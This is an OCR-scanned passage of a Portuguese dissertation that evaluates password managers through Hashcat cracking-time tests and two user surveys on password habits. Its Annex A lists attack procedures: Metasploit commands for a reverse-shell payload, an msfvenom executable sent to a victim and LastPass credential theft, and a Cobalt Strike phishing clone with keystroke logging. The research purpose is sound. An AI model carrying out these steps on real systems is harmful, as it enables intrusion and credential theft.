%8 Fonte: https://pt.surveymonkey.com/ (julho 2016)
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N3o 1 al @, 95 - 00:00- -
otimizada al, 1@, 00:01
a@,al@,
la@,
@al
3 a, @al 866495 589580- 00:01 -
(857375+9025+95) 720310
5 a, @al 7820126495 2.78-5.73 01:16- 22:22-
(7737809375+81450625+857375+9025+95)  milhdes 28:09 53:42

Como se pode apurar a maior diferenca entre as duas formas, prende-se com o volume de
comparacoes feitas, o que leva a que existam ciclos de execu¢do mais alargados para a opc¢ao
ndo aperfeicoada.

Para esta experiéncia foram aplicados padrdes com um, trés e cinco carateres (sendo que foram
desenvolvidos 20 modelos para cada situacdo). A escolha destes nimeros foi motivada pela
desigualdade abismal dos valores encontrados nas itera¢des. O limite maximo aplicado deve-se
ao facto de, para quantidades superiores, a dura¢do da prova ser demasiado longa (na ordem
de cerca de 20 horas).

Como foi descrito anteriormente (seccdo 5.1.1), o HMAC-SHA256 envolve a utilizacdo de um
codigo, que enriquece a autenticidade e a integridade. Como forma de simulacdo, foram
utilizadas as senhas indicadas na tabela. Estas foram as op¢des tomadas, pois era necessario
validar varias combinacdes de letras, nimeros e simbolos. Para a avaliacdo de 3 e 5 carateres
foram sé usados o primeiro e ultimo segredo, porque eram os conjuntos mais interessantes a
serem avaliados.

Por outro lado, foi evidenciado que existe uma enorme distingdo quando hd uma variagao de
dois carateres. Por exemplo, conferindo os dados para um e para trés carateres, é estabelecida
uma discrepancia de 857280 (857375-95) arranjos. Para este caso, o periodo de execugdo nao
se altera de maneira relevante. Todavia, quando se confrontam trés com cinco, ja se verifica
um aumento exponencial daquele.

E de salientar também que, para algumas situacdes, n3o foi possivel calcular a velocidade, nem
o tempo previsto (quando se utiliza “-“). Isto deve-se ao facto de a realizag¢do do trabalho ser
demasiado rapida, o que impossibilita determinar estes aspetos.

Tendo tudo o que foi dito em conta, pode-se assumir que, se os recursos mantidos pelo LastPass
forem bem administrados e devidamente formulados, serd extremamente dificil e demorado
ter-se acesso a dados privados de um utilizador.

Finalmente, hd que destacar que a analise que foi feita sé diz respeito a uma Unica ronda. Ao
ser utilizado o PBKDF2 (onde o algoritmo é praticado vérias vezes) e ao se misturarem diversas
informacBes no processo, torna-se ainda mais dificil a descoberta de qualquer informacao
(podendo isto demorar anos, ou até dezenas destes, como ¢é estimado pelo Hashcat). Tudo o
que foi usado para este teste é apresentado no anexo B.1.
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6.2.2 Analise HMAC-SHA1

Tal como foi descrito antes (sec¢do 5.2.1), o Dashlane serve-se do algoritmo HMAC-SHA1, para
conseguir atingir a seguranca pretendida. Analogamente com o que sucede com o mecanismo
empregue no LastPass, apesar da técnica aplicada precisar de um grande intervalo para ser
guebrada, ndo é, de todo, impossivel. Para que se possa evidenciar esse diagndstico, foram
elaboradas novas provas com o Hashcat. Assim, encontram-se dispostos na Tabela 9 os dados
recolhidos (ver anexo B.2) para perceber as potencialidades da pratica realizada pelo software
em causa. Da mesma maneira que na analise previamente efetuada, sdo apresentados dois
modos de processamento (ndo otimizado e aperfeicoado) e é utilizada a mesma notacdo (note-

" u

se que “-“ equivale a informacdo indefinida).
Tabela 9 — Resultados sintetizados para HMAC-SHA1
Abordagem Numero  Chaves Numero de alternativas possiveis Velocidade Tempode Tempo
de utilizadas (combinagdes  execugdo  estimado
carateres por segundo) (em
minutos)
Otimizada 1 a,l @, 95 - 00:00- -
al, 1@, 00:01
a@, al@,
la@,
@al
3 a, @al 857375 579460- 00:01- -
715730 00:02
5 a, @al 81450625 5.28-11.22 00:42- 11:26-
milhGes 14:59 32:30
Ndo 1 3,1 @, 95 - 00:00- -
otimizada al, 1@, 00:01
a@,al@,
la@,
@al
3 a, @al 866495 590150- 00:01 -
(857375+9025+95) 727350
5 a, @al 7820126495 5.36-10.78 00:21- 10:41-
(7737809375+81450625+857375+9025+95)  milhoes 15:47 25:20

Como se verifica, foram adotados os mesmos parametros quer para HMAC-SHA256, quer para
SHA1. Também foi usado o mesmo numero de carateres, combinacdes e chaves (o que levou a
que houvesse um valor de alternativas iguais). Para além do que foi mencionado, existem
muitas semelhangas entre os resultados obtidos para HMAC-SHA256 e SHAL. Ora, o primeiro
teste (para as duas abordagens) conseguiu exatamente as mesmas solugdes que o anterior. Ja
os restantes, diferem na velocidade, ciclos de atividade e tempos estimados.

Para o caso otimizado para trés carateres, verificou-se que o programa em questdo tem um
periodo maximo de atuacdo, maior do que o LastPass. Esta particularidade é explicada por se
tratar de um outlier (nimero fora do normal), uma vez que todos os outros sdo
consistentemente menores ou iguais.

90



Discussdo de Resultados

Atendendo as tabelas que mostram as solu¢des para HMAC-SHA1 e SHA-256, é possivel
averiguar que um segredo produzido pelo primeiro método é descoberto mais rapido que um
cddigo formado com o segundo. Ha ainda que destacar que, tal como ja foi referido, o algoritmo
escolhido (HMAC-SHA1) é fortalecido com PBKDF2, que o pratica varias vezes. Assim, torna-se
mais complicado desvendar informacgao particular.

6.2.3 Analise SHA-256

Finalmente, serdo indicados os resultados referentes ao KeePass. Esta aplicagdo, como foi
mencionado (seccdo 5.3.1), recorre a SHA-256 para conseguir salvaguardar os dados. Apesar
desta técnica ter parecencas com a que foi primeiramente exposta, é bastante distinta em
termos de tempo necessario para a descoberta do segredo. Assim, torna-se interessante
separar os dois, e apresentar uma tabela com os valores para SHA-256 (Tabela 10).

Tabela 10 — Resultados sintetizados para SHA-256

Abordagem Numero  Numero de alternativas possiveis Velocidade Tempode Tempo
de (combinagdes execugao estimado
carateres por segundo) (em

minutos)
Otimizada 1 95 X 00:00- X
00:01
3 857375 437920- 00:01 X
718760
5 81450625 8.80-10.67 00:21- 11:58-
milhdes 08:28 12:48

Nao 1 95 X 00:00- X

otimizada 00:01
3 866495 440280- 00:01 X

(857375+9025+95) 719980
5 7820126495 8.82-10.58 00:21- 12:30-
(7737809375+81450625+857375+9025+95)  milhdes 08:29 14:49

Como é percetivel, para este caso ndo foram utilizadas quaisquer chaves, uma vez que o préprio
algoritmo ndo emprega tais recursos no seu procedimento. Portanto, foi repetido o célculo dos
diversos elementos, varias vezes. Este nimero de iteragGes foi dado pela quantidade de senhas
que foram utilizadas para os métodos anteriores. Por exemplo, para uma solugdo otimizada de
3 carateres de HMAC-SHA1, sdo considerados os segredos a e @al, o que faz com que cada
experimentacdo aperfeicoada para 3 carateres de SHA-256, seja executada 2 vezes.

Por outro lado, também é compreendido que, pelo facto anterior (ndo serem aplicadas chaves),
um segredo guardado pelo presente algoritmo, é mais facilmente desvendado. Enquanto as
metodologias anteriores impunham que fosse necessario um espaco temporal de
(aproximadamente) 1 minuto a meia hora para encontrar o cédigo pretendido, esta sé precisara
de, no maximo, 10 minutos.
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Ha que notar ainda que a velocidade aplicada para este teste foi (para a maioria dos casos)
similar a dos restantes e que todos os resultados para estes testes se encontram no anexo B.3.

Por fim, é simples perceber que, ao usar SHA-256, ndo se obtém a mesma salvaguarda (serd
menor) que é garantida por HMAC-SHA256 e SHA1, uma vez que estes ultimos complicam mais
o processo de descoberta de senhas (pela utilizacdo de um MAC).

6.2.4 Analise do Questionario Geral

Para além dos testes mencionados, ha agora que discutir os inquéritos realizados (ver anexos
C.1 e C.2). Assim, segue-se o esclarecimento dos que tém um carater generalista. Estes estdo
divididos essencialmente em 5 seccdes principais: perguntas base, sobre autenticacdo, acerca
das palavras-chave, sobre os gestores de palavras-chave, e explicacGes.

A primeira parte aborda questées referentes a dados pessoais, como idade, género, area de
estudos e situacao laboral.

A segunda diz respeito aos habitos de autenticacdo, pelo que é perguntado quais os tipos de
fatores, bem como se usavam nomes de utilizador/palavra-chave para a realizacdo de tal
pratica. Caso o inquirido use esta ultima técnica, sera interrogado sobre o nimero de senhas
aplicadas (uma ou mais), o tamanho destas, os carateres empregues, a sua base (data de
nascimento, nome, palavra portuguesa, etc.), e a forma do seu registo (papel, ficheiro ou
memaria); no caso contrdrio sera indagado porque é ndo recorre ao par de credenciais para
confirmacdo da sua identidade. Naquela situacdo, sdo ainda feitas questdes relacionadas com
os gestores de palavras-chave: se sabem o seu significado (caso contrario, sera explicado); e se
ja os usaram.

Constatou-se que o total de inquiridos foi de 555 (420 do sexo masculino e 135 do género
feminino), onde dois tém idade inferior a 18 anos, 357 tém entre 18 e 25, 132 entre 26 e 35, e
64 tém idade superior ao ultimo limite apresentado. H3 que destacar que 60,5% destes se
encontram em formacdo académica, 33,7% estdo a trabalhar, e 5.8% estdo desempregados. No
conjunto, verificou-se diferentes areas de estudos. Em seguida serd exposto um grafico (Figura
20) que pretende indicar a quantidade de pessoas em cada area. Note-se que esta era uma
pergunta ndo obrigatdria, pelo que ndo responderam dois individuos.
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Figura 20 — Grafico circular com resultados das areas de estudo

Tal como se observa, a maioria dos resultados sdo referentes a pessoas que estdo inseridas na
area de tecnologias (74%), ciéncias (13%) e engenharia (9%).

Dentro do grupo das 555 respostas, descobriu-se que 537 apoiam-se em fatores de
conhecimento, 72 de herancga e 87 de posse, para a autenticagdo (sabendo que se pode usar
mais do que um critério). E percetivel também que 525 recorrem a pares nome de
utilizador/palavra-chave, enquanto 30 ndo o fazem. Isto deve-se, pelo que se pdde apurar, ao
facto de ser pouco seguro (76.7% das opinides) e pratico (13.3%).

Entre os sujeitos que usam as credenciais faladas, conseguiu-se comprovar que 14.7% adota
sempre a mesma senha de acesso, ao passo que 85.3% utiliza segredos homogéneos; 408
empregam entre 8 a 12 carateres, 77 entre 13 e 16, 21 menos de 8, e 19 mais de 16; a maioria
dos inquiridos (81.6%) ndo regista as chaves em nenhum papel ou documento digital, sendo
gue apenas a restante fragao o faz; para a elaboragdo dos segredos sdo predominantemente
usados valores aleatdrios (287 pessoas), enquanto 19.4% serve-se de algo facil de memorizar,
17.1% dados privados e 8.8% alguma palavra portuguesa; e, sdo aplicados varios tipos de
carateres na formulagdo daqueles (como é apresentado na Figura 21).
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Figura 21 — Grafico de barras referente ao tipo de carateres

Tendo em conta a estatistica anterior, verifica-se que uma grande parte dos inquiridos (509)
usa letras na composicao das palavras-chave, 484 integram nimeros e 214 simbolos. Ha que
salientar que um individuo podera recorrer a mais do que uma categoria.

Por outro lado, constatou-se que, apesar da maioria das pessoas saber o que é um gestor de
senhas (55%), existe ainda uma grande por¢do que ndo tem esse conhecimento. Para este
conjunto, foi disponibilizado um video, bem como uma breve sintese, que explica de que se
trata o mecanismo enunciado. Apds a visualizagdo de tais recursos, 83% afirmaram que tais
programas sdo Uteis, todavia s6 46.4% pensa em utiliza-los futuramente. Esta Gltima situagao,
deve-se principalmente ao facto de falta de conhecimento sobre o tema.

Foi feita ainda uma pergunta que questionava se ja alguma vez usaram, ou se atualmente
utilizam o software em causa. Dentro do grupo de 236 pessoas que se manifestaram, sé 74
responderam afirmativamente. Estes admitiram terem empregue ou empregarem mais 0s
gestores locais (40 individuos), do que baseados na web (37) ou mdveis (21); preferir a extensao
do Google Chrome, LastPass e KeePass; e, uma grande percentagem (66.2%), encarou que as
ferramentas que usava eram seguras.

Ha ainda que destacar que existe uma fragdo que conhece, porém ndo tem instalado qualquer
gestor, porque sente que ndo conhece informagdo suficiente sobre tais programas (34%), é
pouco pratico (29.6%) ou pouco seguro (22.2%).

6.2.5 Analise do Questionario Especializado

Assim como ja foi mencionado, foi também realizado um questiondrio para um grupo
especializado (de 21 individuos), de maneira a ter uma comparagao entre o publico em geral e
um mais técnico. O ndmero reduzido de pessoas, deve-se ao facto de serem indagados
unicamente um agregado restrito e conhecido, para que fosse assegurada a veracidade dos
dados.

94



Discussdo de Resultados

Este inquérito possui duas particularidades diferentes do anterior. Visto que se trata de um
formulario a ser preenchido por sujeitos pertencentes a area das tecnologias, foi retirada a
pergunta acerca do ramo de trabalho destes. Por outro lado, foi modificada a questdao que
interrogava sobre a situacdo laboral da pessoa, para algo mais especifico.

Apds uma anadlise da informacdo adquirida, comprovou-se que 76.2% dos inquiridos estdo a
trabalhar em informatica, 4.8% estdo no ativo (ndo nesta Ultima area de estudos) e 19% estdo
ainda em formacao; e que todos usam nomes de utilizador e passwords para a autenticacdo (4
deles empregam fatores de heranca e outros 4, de posse).

No que se refere a elaboragdo das chaves de acesso, s6 um dos individuos é que aplica a mesma
senha em todos os sitios web; todos eles utilizam letras e nimeros para as suas construcées (e
12 deles adotam simbolos); sé trés registam estes recursos em formato digital (sendo que os
demais simplesmente decoram); uma grande parte usa carateres aleatdrios (52.4%); e
recorrem a diferentes quantidades de carateres. Esta distribuicdo esta espelhada na Figura 22.

5% 5%

81%

Menosde 8 ®m Entre8e 12 = Entre 13e 16 = Maisde 16

Figura 22 — Gréfico circular sobre o nimero de carateres empregues nas senhas

Tal como no inquérito anterior, a maioria das pessoas aplica entre 8 e 12 carateres (81%),
seguindo-se as que usam entre 13 e 16 (9%), e, depois, as que recorrem a menos de 8 e mais
de 16 (5% cada uma).

Ha ainda que apontar que apenas dois individuos é que ndo sabiam o que era um gestor de
palavras-chave (sendo que um deles promete utilizar futuramente um, e o restante acha estes
programas pouco praticos); dos 19 conhecedores de este tipo de ferramentas, 68.4% usa ou ja
utilizou estes sistemas, e 31.6% ndo o faz (pois sentem que é pouco seguro e pratico, e ndo tém
necessidade de o usar); e dentro deste conjunto de 19 pessoas, a maioria prefere solugdes locais
(como o KeePass) e sentem-se seguros ao emprega-las.
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6.2.6 Conclusao da Discussao dos Resultados

Ao longo desta secgdo (6.2), foram descritos os diferentes exames aplicados as abordagens ja
implementadas para a administragdo de senhas, bem como foram recolhidos dados referentes
as praticas utilizadas pelo publico geral e especialista. Aqui foram efetuados testes envolvendo
os algoritmos HMAC-SHA256, HMAC-SHA1 e SHA-256. A partir da ferramenta Hashcat,
verificou-se que entre as op¢des dadas, o que salvaguardava mais a informacao era o primeiro,
sendo o ultimo o que se afirmou como mais facilmente quebravel. Isto pode ser testemunhado
observando os tempos de execucdo e previstos, indicados nas tabelas que foram fornecidas.

Por outro lado, foram elaborados dois questiondrios, que tentam perceber quais as técnicas
empregues pelas pessoas, bem como as suas preferéncias. Um deles foi dirigido a um publico
global, enquanto o outro foi orientado a sujeitos que estivessem na area das tecnologias (mais
especificamente, no curso de informatica). Os dois inquéritos tém bastantes parecencas,
contudo existem duas particularidades que os distinguem: a remog¢do de uma pergunta e a
modificacdo de outra. Tais alteracdes sdo justificadas pois um deles atinge um alvo muito
proprio.

Nos dois formuldrios encontram-se opinides bastante semelhantes como:

Em termos demograficos, em ambos os questionarios, comprova-se que a maioria dos
individuos tem uma idade entre 18 e 25 anos e é do sexo masculino;

e Notoriamente, hd uma preferéncia por fatores de autenticagdo de conhecimento;

e Uma maioria recorre a nomes de utilizador/palavras-chave para a identificacdo nos
sitios web;

e A grande parte das pessoas que adota os mecanismos anteriores, elabora
especialmente diversas passwords aleatérias, usando entre 8 e 12 carateres (mistura
entre numeros e letras);

e Normalmente, ndo existe o habito de registo de senhas em papel ou em ficheiros;

e Das pessoas que entendem o significado de gestor de palavras-chave, algumas sentem
que tal técnica é pouco segura ou pratica;

e Ha uma predilecdo por gestores locais (seguindo-se os apoiados na web e, por fim, os
moveis). Mais especificamente, exemplos como o LastPass, KeePass e a extensdo do
Google Chrome, sao bastante comuns;

e Habitualmente, quem usa tais softwares sente-se protegido.
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Todavia também se encontram algumas disting¢des:

e No que toca a situacdo laboral, no inquérito geral, é comprovado que ha uma grande
porcdo de estudantes, enquanto no outro, muitas pessoas encontram-se a trabalhar
em informatica;

e A parcela de individuos que n3o recorre a nomes de utilizador/palavras-chave,
respondeu que acha esta técnica pouco segura (teste geral) e pouco pratica (analise
especifica);

e Ao passo que, num meio ndo especializado, muitos ndo sabem o que faz um gestor de
palavras-chave, num ambiente mais particular, hd conhecimento sobre o tema;

e Num contexto universal, descobre-se que os mecanismos anteriores sdo admitidos
como Uteis (para quem os desconhecia), porém nao serdo empregues posteriormente
(por falta de informacédo sobre o tema); ja no restante, ha uma divisdo de opinides para
cada assunto, sendo que ndo se prevé uma utilizacado futura, pelo facto dos programas
serem pouco seguros;

e Dentro de um publico geral, ndo se encontram muitas pessoas que ja tenham usado
algum gestor, o que ndo se passa com os demais inquiridos.

6.3 Resumo da Avaliagao das Abordagens Anteriores

Nas seccbes precedentes foram apresentados todos os testes (e respetivos resultados)
executados, para que se pudessem classificar os algoritmos aplicados nos softwares estudados
previamente, bem como dar uma perspetiva geral dos habitos da sociedade.

Apds os exames feitos a partir do Hashcat, conclui-se que um segredo gerado a partir de SHA-
256 sera o mais facil de ser descoberto, contrastando com HMAC-SHA256, que se demonstra
como o mais dificil. Isto pode ser comprovado ao se verificarem os tempos de execu¢do obtidos
e dispostos nas tabelas referidas. Ha que ressalvar que, apesar dos valores disponibilizados,
torna-se essencial considerar os atributos dos sistemas que tentam desvendar as senhas, assim
como o numero de vezes que o algoritmo é empregue.

Foram ainda feitos dois inquéritos (um mais geral, e outro mais especifico), que demonstram
as rotinas habituais da sociedade. Com base nestes, foi averiguado o seguinte:

e Existe uma pequena discrepancia comparando os resultados dos dois questionarios;

e Ha uma grande preferéncia pelos fatores de autenticacdo que envolvem o
conhecimento;
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Ainda que haja algumas pessoas que ndo recorram a nomes de utilizador/palavras-
chave, a maioria delas fa-lo;

Normalmente, sdo adotadas multiplas senhas, para os diferentes websites e aplicacdes
de rede (ndo sendo estas apontadas em nenhum registo);

Sdo adotados, principalmente, segredos aleatérios, que usam entre 8 e 12 carateres,
combinando numeros e letras;

Enquanto individuos especializados sabem (na generalidade) o que sdo gestores de
palavras-chave, dentro de um publico mais geral, tal conceito ndo é tdo conhecido;

Os sujeitos que ndo entendiam o que eram os mecanismos de gestdo indicaram que,
apdés uma breve explicacdo, os achavam Uteis (na globalidade), porém uma grande
fragao nao os utilizaria;

De entre as pessoas que ja conheciam aquelas ferramentas, uma grande parte das que
se integram na area das tecnologias, ja tinham instalado/tém instalado algum gestor (o
gue ndo acontece para o outro género de publico);

KeePass, LastPass e o plugin do Google Chrome sdo exemplos bastante usados;

A maioria dos individuos que utiliza o tipo de software discutido, sente-se/sentiu-se
seguro ao aplica-lo;

Um aspeto critico para o ndo consumo dos programas em causa, prende-se com a falta
de conhecimento acerca destes.



7 Conclusao Final

Para terminar o documento, é apresentado um epilogo, de modo a descrever o que foi
concluido apés a realizagdo do projeto em causa, as metas que foram alcancadas, e o trabalho
gue se prevé ser executado futuramente.

A informacdo tem um papel determinante para a sociedade em geral. Esta é facilmente
acessivel, e possui multiplas formas e categorias. Dentro do conjunto de classificagGes possiveis,
ressalta a de estatuto sensivel. Este tipo de dados deve ser preservado e comunicado de
maneira a que, ninguém indevido os consiga perceber. Para que tal seja conseguido, recorre-se
frequentemente a seguranca da informacdo. Esta é baseada em trés conceitos principais
(confidencialidade, integridade e disponibilidade), e pode ser complementada com a
autenticidade, que tem vindo a assumir uma relevancia cada vez mais elevada e que é praticada
de formas distintas. A mais usual é a partir de um par de credenciais (nome de
utilizador/palavra-chave), o que n3o quer dizer que seja a maneira mais vidvel. Para o
comprovar, ha que destacar que é preciso uma grande ateng¢do na sua administracdo. Surgiram
entdo os gestores de palavras-chave.

Estes sao programas simples e muito empregues para a salvaguarda dos dados, obtendo trés
formas principais: locais, baseados na web ou mdveis. Todos eles tém as suas vantagens e
inconvenientes. Logo, foi efetuada uma pesquisa sobre alguns exemplos de gestores
(escolhidos pela sua notabilidade e performance), de modo a averiguar se estes continham a
estrutura necessaria para a segurang¢a das informagdes privadas. Caso se apurasse que nao
existia um software capaz de contemplar os requisitos indicados, seria implementada uma nova
aplicagdo, que corrigiria o maximo de problemas encontrados.

Apds a andlise referida constatou-se que, de facto, ja existe uma solugdo que completa as
necessidades pretendidas pelos utilizadores atuais (Dashlane). Isto foi comprovado a partir de
uma investigacdo detalhada ao seu funcionamento, assim como as falhas
existentes/descobertas. Ha que salientar que, apesar de possuirem um esquema menos viavel,
as restantes ferramentas (LastPass e KeePass) ndo sdo descartaveis.
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Foram executados também alguns testes aos algoritmos dos programas (HMAC-SHA256 e
SHA1, e SHA-256), e aos habitos da sociedade geral e informatica. Os primeiros consistiram na
medicdo do tempo necessario para desvendar um segredo encriptado com os respetivos
métodos, a partir do programa Hashcat. Este determinou que o mais seguro se tratava do
HMAC-SHA256 (curiosamente, usado pelo LastPass), contrastando com o desempenho
garantido pelo SHA-256 (menos estavel). H4 que destacar que se devem ter em conta os
requisitos do sistema e o nimero de vezes que os algoritmos sdo aplicados, ndo devendo ser
construida uma opinido Unica, dados os valores fornecidos. Por outro lado, os segundos testes
compararam as rotinas comuns de um publico geral e outro mais especializado, baseando-se
em dois inquéritos. Os inquiridos afirmaram (entre outras conclusdes) que existe algumas
desigualdades nos resultados obtidos nos dois alvos; a maioria das pessoas recorre a fatores de
conhecimento (em particular, a nomes de utilizador/passwords) para a autentica¢do; ha uma
grande por¢ao de individuos, que desconhece o que sao gestores de palavras-chave; KeePass,
LastPass e o plugin do Google Chrome sao os preferidos para a administracdo dos dados; um
grande numero de utilizadores dos gestores, sentem-se/sentiram-se protegidos ao usa-los;
normalmente, os sujeitos que ndo aplicam as técnicas em questdo, optam pela sua ndo
aplicacdo uma vez que as acham pouco seguras e praticas.

Tendo em conta tudo o que foi dito, afirma-se que todos os objetivos e contributos pretendidos
para esta dissertacdo foram cumpridos, a excecdo da possivel aplicacdo falada. Esta ndo foi
implementada pois ficou claro que ja se encontra desenvolvida uma com as potencialidades
requisitadas. Assim, no que respeita ao planeamento inicialmente pensado, foram adiadas
algumas tarefas, na medida em que o projeto teve de ser reformulado. Porém, tudo o que se
esperava foi atingido com sucesso.

Finalmente, é opinido do autor que foi estabelecido um documento valioso, que concede uma
perspetiva geral do que ja existe elaborado, no que toca a gestdo de credenciais de acesso.
Contudo, deve ser admitido que qualquer tecnologia é substituida (mais tarde ou mais cedo)
por uma outra, mais recente e eficaz. Como tal, é esperado que (apesar de existir atualmente
um software que cumpre as condi¢des), futuramente, seja concebido algo mais adequado, bem
como seja preparado um estudo que aborde os problemas da época em causa.
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Anexo A — Procedimentos para os Ataques

LastPass

A.1 - Passos para a Execuc¢ao do Ataque lastpass_creds

As etapas para o ataque lastpass_creds s3o as seguintes:

1. Abrir uma consola e digitar msfconsole — Inicializacao do Metasploit;

2.

3.

Iniciar uma sessdao — Aqui sdo aplicadas cinco fases para o estabelecimento de uma

comunicagao;

e.

use exploit/multi/handler — Defini¢do do tipo de vulnerabilidade a ser aplicada.
O mddulo utilizado é genérico;

set payload Linux/x64/Shell/reverse_tcp — Carga inserida nos dados;
set LHOST <endere¢o da mdquina> — Disponibilizacdo o endereco local;
set LPORT <porta> — Indica qual a porta para ficar a escuta de comunicacgoes;

exploit —j — Comeca o ataque em segundo plano;

Abrir um novo terminal e criar a vulnerabilidade para a vitima — Serdo necessdrias trés

acoes;

msfvenom -p linux/x64/shell/reverse_tcp LHOST=<endereco da mdquina>
LPORT=<porta> --format=exe programa.exe — A partir desta instrugdo é
possivel criar um ficheiro (programa), no formato EXE, que permite ao atacante
aproveitar-se da vitima. Note-se que o endereco e a porta usados sdo os
mesmos que foram definidos antes;

Envio do ficheiro para um utilizador legitimo;

Esperar que o programa corra no sistema remota;

Execugdo do mdédulo lastpass_creds — Quando uma sessdo for estabelecida, tem que se

realizar mais um conjunto de eventos;

a.

b.

C.

back — Volta para o ambiente anterior;
use post/multi/gather/lastpass_creds — A¢do que permite usar lastpass_creds;

set payload cmd/unix/reverse_bash — Define a estrutura da informac&o;
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d. set SESSION <niumero da sessdo> — Indicacdo do canal a ser usado, recorrendo
ao que foi estabelecido anteriormente. Isto pode ser verificado utilizando o
comando sessions;

e. exploit— Comecar ataque.

E de salientar que a versdo do Metasploit usada foi 4.11.7 e os payloads aplicados s3o destinados
a uma maquina Linux. Para uma Windows, ou outro tipo, é necessario alterar tais parametros.
Ha que ter em conta também o tipo de arquitetura. No exemplo apresentado, é de 64 bits.

A.2 — Passos para a Execucao de um Ataque de Phishing Usando
o Cobalt Strike

As fases necessarias para a pratica da investida desencadeada pelo Cobalt Strike sdo:
1. Abertura de uma consola;
2. Langamento do servidor Cobalt Strike;
a. Mudanga de diretoério até a aplicagdo servidora;

b. ./teamserver <endere¢o> <palavra-chave>— Inicia¢do do servidor no enderego
descriminado e protegido com a senha estabelecida;

3. Arranque do programa cliente;
a. Abertura de uma nova consola;
b. ./cobaltstrike — Lancamento da interface grafica;
4. Configuragdo da interface grafica;
a. Reintroducdo do sitio e chave estabelecidos anteriormente;
b. Pressionar botdo Connect;

5. Confirmag¢do do cddigo do servidor — Estdgio onde se assegura que as defini¢cOes
fornecidas coincidem. Se for este o caso, prossegue-se para o proximo passo, senao
deve-se retornar ao inicio do processo;

6. Clonagem da pagina;

a. Selecdo de Attacks -> Web drive-by -> Clone site — Escolha da funcionalidade
que permite a replicacdo do website;

b. Indicagao do site a clonar;
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c. Preenchimento da caixa Log keystrokes on cloned website — Ativacao da
preferéncia para a monitorizagdo da vitima;

d. Prosseguir a partir do botao Clone;
7. Envio da ligacdo gerada pela etapa anterior para o lesado;

8. Escolhadaopgao View -> Web View — Ao se ativar este controlo, serd possivel visualizar
a comunicacgado da vitima.

Note-se que foi usada a versdo 3.3 para a execucdo da intrusdo enunciada. Assim, edicées mais
recentes poderdo ter comandos e/ou interface diferentes.
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Anexo B — Tabelas com Resultados de
Testes Hashcat

B.1 - Tabelas para HMAC-SHA256

Tabela 11 — Resultados para HMAC-SHA256 (1 caracter)

Abordagem Segredo Chaves Numero de Velocidade (combinagdes Tempo de execugdo Tempo
combinagdes por segundo) (em minutos) estimado
Otimizada ¢ a 95 - 00:01
1 00:01
@ 00:01
al
1@ -
a@ 00:01
al@ 00:01
la@
@al
2 a
@al
! a
1
@
al 00:01
1@ 00:01
a@ 00:01
al@ 00:01
la@ 00:01
@al
Nao c a 00:01
otimizada
1
@
al
1@ 00:01
a@ 00:01
al@ 00:01
la@
@al 00:01
2 a 00:01
@al 00:01
! a
1 00:01
@
al
1@
a@ 00:01
al@ 00:01
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la@
@al

Tabela 12 — Resultados para HMAC-SHA256 (3 caracteres)

Abordagem Segredo Chaves Numero de Velocidade (combinag&es Tempo de execugdo Tempo
combinagdes por segundo) (em minutos) estimado
Otimizada  abc a 857375 610060 00:01 -
@al 609370
dx7 a 644080
@al 643500
a4s a 619590
@al 619140
237 a 636970
@al 636880
2@ a 711840
@al 717910
41@! a 661670
@al 665270
@!: a 662610
@al 662060
a’/@ a 718670
@al 718290
S:a a 588030
@al 587960
v6 a 634530
@al 634550
Nédo abc a 866495 612060
otimizada (95+9025+857375)
@al 611620
dx7 a 645880
@al 645300
a4s a 620840
@al 620510
237 a 638600
@al 640130
2@ a 719280
@al 719910
41@! a 666750
@al 666840
@!: a 663520
@al 663760
a’7@ a 719950
@al 720310
5:a a 589920
@al 589580
v6 a 635510
@al 640500
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Tabela 13 — Resultados para HMAC-SHA256 (5 caracteres)

Abordagem Segredo Chaves Numero de combinagbes  Velocidade Tempo de execugdo Tempo
(aproximadamente em (em minutos) estimado
milh&es)

Otimizada  abcde a 81450625 5.72 10:38 24:17

@al 5.73 10:27 22:53

abc9s a 5.71 10:02 23:09
@al 5.78 10:00 28:33

732pg a 5.77 11:28 23:22
@al 5.45 12:07 22:57

23978 a 5.41 12:08 23:28
@al 3.90 16:53 26:35

104@! a 2.84 01:17 44:02
@al 2.79 01:18 49:05

:)139 a 3.55 19:18 45:19
@al 3.29 20:48 45:56

@(): a 3.19 22:09 46:16
@al 3.74 18:55 44:23

@lal@ a 3.54 24:49 22:56
@al 3.13 27:52 47:26

l@a@1 a 3.08 15:18 45:56
@al 3.87 12:22 47:42

al@la a 3.87 12:27 46:42
@al 3.74 12:56 48:25

Ndo abcde a 7820126495 5.71 10:38 23:07

otimizada (95+9025+857375
+81450625+7737809375)

@al 5.73 10:37 22:49

abc9s a 5.72 10:29 22:22
@al 5.63 10:17 24:04

732pg a 5.37 12:21 23:22
@al 5.34 12:20 23:02

23978 a 5.29 12:27 23:20
@al 3.79 17:21 24:06

104@! a 2.78 01:19 48:47
@al 2.85 01:16 47:46

:)139 a 4.22 16:11 48:31
@al 3.30 20:44 23:04

@): a 3.40 20:52 49:30
@al 5.00 14:10 46:03

@lal@ a 3.10 28:09 22:41
@al 3.84 22:46 53:42

1@a@1 a 2.96 15:56 46:43
@al 3.81 12:40 49:48

al@la a 5.54 08:36 23:46
@al 4.36 11:00 49:06
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B.2 — Tabelas para HMAC-SHA1

Tabela 14 — Resultados para HMAC-SHA1 (1 caracter)

Abordagem Segredo Chaves Numero de Velocidade (combinagées Tempo de execugdo Tempo
combinagdes por segundo) (em minutos) estimado

Otimizada ¢ a 95 - - -

[y

@ -

1@ -
a@ -
al@ -
la@ -
@al -

@al -

[uny
'

al -
1@ -
a@ -
al@ 00:01
la@ -
@al -

Nao c a 00:01
otimizada

-
o
Q
=)
=

al R
1@ -
a@ -
al@ -
la@ -
@al -

@al -

[any
'

al -
1@ -
a@ -
al@ 00:01
la@ -
@al -
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Tabela 15 — Resultados para HMAC-SHA1 (3 caracteres)

Abordagem Segredo Chaves Numero de Velocidade (combinag&es Tempo de execugdo Tempo
combinagdes por segundo) (em minutos) estimado
Otimizada  abc a 857375 603040 00:01 -
@al 599150
dx7 a 634450
@al 629080
a4s a 607880
@al 608890
237 a 625720
@al 632720
2@ a 693830
@al 715730
4@! a 653890
@al 653710
@!: a 654010
@al 652610
a’/@ a 711500
@al 701600
S:a a 579460
@al 585690
v6 a 629650
@al 627500
Ndo abc a 866495 624590
otimizada (95+9025+857375)
@al 613600
dx7 a 645170
@al 650940
1a45 a 622320
@al 622080
237 a 640320
@al 641440
2@ a 724600
@al 727350
41@! a 670280
@al 674030
@!: a 667350
@al 666220
a’/@ a 720510
@al 723980
5:a a 591160
@al 590150
v6 a 637220
@al 636220
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Tabela 16 — Resultados para HMAC-SHA1 (5 caracteres)

